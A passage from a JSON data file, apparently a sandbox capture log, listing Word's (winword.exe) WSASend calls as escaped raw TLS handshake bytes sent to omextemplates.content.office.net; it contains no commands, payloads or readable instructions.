  302. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b\\xe6a\\xe7\\xc8\\xae@\\x0e\\xee\\xe05\\xa0\\xee\\xd5\\xba7\\xa1\\xb6\\x93y\\xb8v\\xa9\\x00\\xd9b\\xf2?qx\"\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  303. },
  304. {
  305. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b\\xe6a\\x04\n\\xc1\\xf8~z@n?8\\xa6i:\\x96\\x14\\xf8:\\xb2\\x0b\\xa7'7\\xc5q:\\xc6\\xa1\\xfe\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  306. },
  307. {
  308. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b\\xe6asu5\\x9b\\x02\\x9a\\x9c\\xe2\\x82\\x82\\xab\\xee\\xdd~c?hb\\x89\\x15\\x90\\xa6?\\x9b\\x9c\\x98yk\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  309. },
  310. {
  311. "http_request": "winword.exe_WSASend_j\\x01\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b\\xe6a\\xcd\\xaf\\x92\\\\xba\\xab\\xc5\\xc4\\xae\\xcc|\\xf6\\xbc\\x8d\\xae\\x98\\xa8\\xde\\x0f{%k\\xcb\\xc9\\xc5\\xd5\\x8d\\x93\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  312. },
  313. {
  314. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b\\xe6a\\xf0\\x93\\xe4\\x14a\\x02zvdz\\xf6(b\\xe2\\xee\\xc7\\x8a\\xf7b\\x18\\xd7\\xde\\x12\\xf5\\x7f\\x87\\xd1\\x9b\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  315. },
  316. {
  317. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b\\xe6ah\\xca\\xf2\\x118\\x91\\xd1\\xbc\\xe0\\xa7frinq\\xb4\\xeak}\\x94\\xc9\\xd9qm\\xb8\\x1co\\xd4\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  318. },
  319. {
  320. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b\\xe6a\\xff\\xea\\x8e\\xcb\\xc4\\x13s\\xcb\\xebf\\xb3x\\x0e\\xfd8\\x19\\xfb\\x90\\x8b\\xe2?\\xe2\\xefo\\xf8\\xb2ud\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  321. },
  322. {
  323. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b\\xe6a>\\xd7s\\x06\\xceu\\x87\\xe2\\x01\\x8e\\xb2*\\x8d\\x83\\xb8\\xd4\\xcc\\x8d\\xa9\\x94\\xe1\\xc3k\\xda\\x9c\\x0f\\x12\\x1b\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  324. },
  325. {
  326. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b\\xe6a\\x8f\\xae0\\xb0\\xe3\\xfe\\x19\\xbf\\x94\\x81\\xbf\\xb3\\xe9x\\x15\\xf5\\xe5\\xafe\\xc3\\x1as\\xa5]\\x87m\\xe8i\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  327. },
  328. {
  329. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b\\xe6a\\x0e\\x82\r\\x11\\xad\\xc3\\x01\\xda\\xead7\\x86\\x13 k\\xc9\\\\x89f\\xd5rvjav\\xf0\\xc9\\x13\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  330. },
  331. {
  332. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b\\xe6a\\x972\\x99\\x9a\\x06x\r\"/\r\\xcey\\xa2,w\\x03[\\xc7\\x067k\\xba\\xfbj\\xf3ag\\xf9\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  333. },
  334. {
  335. "http_request": "winword.exe_WSASend_j\\x01\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b\\xe6a\\x1b=\n\\xb0w_\\xf1\\xaf\\xda\\xa77`\\\\xdf\t#;\\xf3\\xbc\\xc5\\x90\\xb1\\xa2\\x10\\x80\\xf1w\\xb6\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  336. },
  337. {
  338. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b\\xe6ani\n\\xd2\\x1b\\xf2]\\xd6ir\\x8f\\xdcgppp\\xfd\\xfeg:\\x05\\x89b\\xb0\\xb5\\x1f\\xc5\\xb6\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  339. },
  340. {
  341. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b\\xe6a{\\xea\\xcd\\xf8\\x83\\xce\\x1a\\xacx\\x01\\xebz\\xeb='\\xd3\\xfc\n\\x03\\x96\\xe6!\\xa6\\xc9/\\xf7g\\x0c\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  342. },
  343. {
  344. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b\\xe6a\\xf4\\xbc\\xb6sd\\x0b\\x92\\xbe\\xfcd+\\x9d\\xdf\\x14\\x0ckb\\x1d\\xfe9\\xa2\\x88y?\\x125\\xe7p\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  345. },
  346. {
  347. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b\\xe6ab\\xe1\\x98\\xf8\\xdd\\xd3v z%\\x92\\xbc\\xec<\\xd7\\x1e\\xe8\\x11\\xe4`\\x97\\xffz\\xfb\\x01.\\x15\\xbd\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  348. },
  349. {
  350. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b\\xe6a\\xddr\\xd7\\xa9\\xff\\x13\\xb0\\xc0\\xa0\\xf5\\xbfl\\x87\\xa9\\xa9\\x07\\xb1\\x19\\xad\\xccl\\xd4\\xf7\\x10q\\x02\\xda\\xb6\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  351. },
  352. {
  353. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b\\xe6ab/\\x14c\\xb0\\xf6c2$\\x07\\xffnf)c\\xd7\\x81\\x0c%?\\xa23*\\xa7j\\x13\\x86\\xef\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  354. },
  355. {
  356. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b\\xe6a`\\xd2\\xf7=6\\xe6@\\xcc\\xcd_\\x18\\x8fg\\x86%u7\\xef\\xae\\xac\\xfc\\xc1ot\\xf8\\xc1\\xdb\\xd0\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  357. },
  358. {
  359. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b\\xe6a\\x96a\\xe3v\\xa5'\\xaen\\xe2^\\xa3`\\xda\\xb3\\xef\\x1e3\\x94l\\x83\\xf7\\x0cn\\xe2\\xcau\n_\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  360. },
  361. {
  362. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b\\xe6al&\\xd0\\x88\\xef.\\xb7^t\\x84q{u\\xc2\\xa0\\xdb\\xab\\xc6\\x80\\x12\\xd3\\xb4\\x93\\xcf\\x90\\xb4\\xfe\\xf1\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  363. },
  364. {
  365. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b\\xe6au'.\\xf5\\x08\\xc9\\x86\\x81\\xe6\\x0ff\\xbd?d\\xa9.&\r\\xb1q\\x8ef\\x8at;_\\xd9\\xaa\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  366. },
  367. {
  368. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b\\xe6akex\\xaf\\xbbd\\xdee\\xf4{\\x11\\x19h~!\\x19\\x12x$d\\x04\\xc5\\xe1#\\x82\\xc3\\x8d\r\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  369. },
  370. {
  371. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b\\xe6a+9\\x9a\\x90\\xd4f\\xf1\\xb3y\\xebt\\x0e\\xc0\\xe5f\\xbe\\xcd\\x97\\xe16 &t\\x03fgq4\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  372. },
  373. {
  374. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b\\xe6a[3\\xa3\\xb7a\\x91\\xafy1\\x02\\x9c\\xee\\x17\\x01\\x8a;\\xb8q\\xbey\\xe9s\\xc9\\xa1jk\\xd7d\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  375. },
  376. {
  377. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b\\xe6a\\x14\\x9f\\xa6.\\xb2q\\xc5?^)(|\\x9b\\xe4\\xb0\\xc4\\xaen\\x15\\x9d\\xcb\\xcc\\x85n7?(\\x04\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  378. },
  379. {
  380. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b\\xe6a\\xd2\\xfc\\x8a\\x11\\xfam\\x06\\xad\\x16dy\\x11\\xb0'\\xb8e\\x90v\\x02\\x153\\xe7\\xe4v\\x06d\\xadm\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  381. },
  382. {
  383. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b\\xe6a\\x13\\xaf\\xca\\xb2\\xd5i\"\\xa3\\xed2[\\xd7\\xf6\\x95e\\x14\\xc5\\x0c\\xe3\\xab\\xed\\xfc\\xbc\\xcf\\xfa0`\\xd7\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  384. },
  385. {
  386. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xafb\\xf9\\xe5\\xcf\\xc1\\x89\\xda#\\xb3\\xa8\\xeev\\x9f\\x84\\x06\\x1d\\xa1\\xd6*\\xe1$\\xd6\\xbc\\x9ameiqg\\x85\\xa3e\\xb2mnf\\xa2\\x1b\\xf4ya'\\xf0 \\xe1q\\xe4\\xd0v\\xcd\\x95u\\xce\\x16\\xe7\\xe5\\x91k\\xe9\\x8ei\\xd5%\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xa4\\xdey\\x96e\\xdd\\xdb\\xe3\\x94\\x93\\xbf\\xf2]\\x1c\\xe4|fy\\xc6b\\x07\\xe0\\x06-\\xff\\xe8\\xe1\\xdf\\xb7f\\x07\\x0f\\x18b\\xb9\\xc0\\x8c\\x19v\\x08\\xf2i!.\\xc3\\xb8\\xecz"
  387. },
  388. {
  389. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xb5al\\xb5\\xff\\\\x84y$\\xcb\\x94\\xf25\\x1b\\xfb\\x01y\\xddo\\xebqv\"'\\x1a~\\xe5\\xe1\\x84\\xaf\\xe1#\\\\xe7wj\\x19d,\\xb8\\xbe\\xf0\\x08\\x9a;\\xd9rh\\x87\\xa1\\xcc\t~e!\\xa0o\\x11aw\\x89\\x85\\x14>\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x86\\xc2\\x87\\xbd1*(\\xdbxd\\x10>\\xcd\\xb8'\t\\xb7d\rk\\x11\\x03\\x035\\x9d\\x971\\xd5\"\\x1f\\x0b\\x8c\\x9c.\\xbb\\xf9\\xb1m\\xa8qf\\x85^\\x92\\x1a\\x9ef\\x12"
  390. },
  391. {
  392. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04w\\xd6\\xb8\\xaf\\xecw\\x14_)\\xb8\t\\xc8\\xec\\x0e@*\\x98\\xb0;\\x18\\xc7x\\xe0~u\\xd6\\xe21\\x02o%\\xb4\\xec\\xd4\\xcc)\\x85\\x07\\x97\r\\xf2\\x8a\\xea0\\xea'\\xcd\\x12e\\xf6\\xact\\xa3\\x0c\\xd1(z\\x1dy-9\\x89,g\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xe5>r\\xeb\\x99\\xe05\\xa4\\xfb\\x16\\xe0\\xf8\\xdc\\x11\\xc9r\\xfe\\xf2+)\\x1c\\xd8+\\x91\\xa5yy\\xebj\"c+\\x94\\x1cr\\xc5\\xbf\\x14\\x1e\\x12o6\\xa9+\\xa1\\xf94\\x99"
  393. },
  394. {
  395. "http_request": "winword.exe_WSASend_~\\x01\\x01\\x00f\\x10\\x00\\x00ba\\x04&ur\\x7f\\x8a\\xe4bm\\xd2\\x9c\"\\x95]u\\x01v!\\x1bo\\xfa\\x90\\xc4)\\xa3!\\x10|z\\x01`+\\x14av\\x1b\\x14d\\w1j\\xc8\\x80\\x83\\xe8\\xa7\\xd1\r\\x8b\\x15\\xcf\\xd6@zm\\x80tk\\x19\\x1c\\xe9\\xf84\\xee\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000b\\xfc\\xb1v\\xfc\\xcc\\xc4j5x\\xa3\\xa1\\xae.;4v7k\\x88\\xa7y[\\xa33\\x01\\xf6\\xe4\\xcc\\xbb3\\xd4g*j\\x10p\\xf9;\\xb7\\x91\\xcb7\\xday\\xf7\\x18\\x1b"
  396. },
  397. {
  398. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04b:n\\xa4/\\x15\\x11 \\xb0a<y\\xa3\\xb9\\xc6\\xfd\\xb0+\\xa6\\x06\\xf2\\xd3w\\xcd\\xd8\\x8e-y#\\x8b\\x81\\xf4\\x7f\\xcf\\x18\\x14s\\xa7`\\xbc\\xac\\xa6\\xf20)\\xc8\\xf7\\xf3\\xf5v\\xba\\x19\\xa7h\\x06g\\xefe\\xc5\\xc0\\x90~\\x00\\\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000;<\\x03\\x0b\\x0e\\xd8\\x7fm\\x17w\\x0686w\\xd3uf\\x97b!v\\x99\\xe1\\xb6\\x94\\xb8\\xa03\\x87\\xa8\\x81skt\t\\x9bc\\xe0\\xcc\\xa3|\\x8b\\xcc\\x93]\\xe7\\\\x18"
  399. },
  400. {
  401. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xf9\\x02\\xd7\\x9ct\\xe3\\xa6\\x1f\\xa32\\x8a#\\xeb<5\\xe0&\\xe09,\\x8c\\xcf\\x03hq'\\xf9\\xb0\\xb4y\\xf8;\\x974\\x03q\\x82w\\x1d\\x0f\\x05\\x1fm}!\\xa9\\xe8\\xf2\\xd22\\xe7\\xc3f\\xab#\\x87y\\xb1\\xe4\\xb7\\x16\\x00\\xc7\\x83\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x9a\\xa5\\x0c\\x9f]\\xd4a\\xb0\\x83\\x84\\xd4\\xd2\\x88\\xfbdw\\xe2\\x90;)\\xc8\\x95n\\xaf\\x95t\\xe6\\x97\\xda\\x05/n\\c\\x92!\\xc6\\xed\\xe6\\xea\\xb4\\x0b\\xcf\\xb3\\xd9\\xb1\\xfdb"
  402. },
  403. {
  404. "http_request": "winword.exe_WSASend_~\\x01\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x1c\\xb3\\x95us\\x10\\xb0|r\\x838\\x95g\\xad\\x15{\\xfa<q,\\xb1\\x01\\xfeh\\x04}f\\x06\\xc3v4e\\x8f\\xab\\x9d\\x7f\\xd6\\xa0\\x15\\x1b\\xedm<\\x89\\xf7\\x14\\xab\\xe2\\x87ezo\\xe4\\xb3v\\xb0\\xfazf\\xeb`\\xe8\\xabw\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000:\\x15^\\xefh*l|\\xf7\\xb9\\xb0\\xc3ve\\xb6\\x89j\\xd8\\x94awc\\xdf\\xe0\\x0bcj\\xb3i\\xb4\\xf2\\xe9m\\x1c\\x9f`\\x02mj<\\xe5\\xaa\t\\xb40\\xb8y\\x97"
  405. },
  406. {
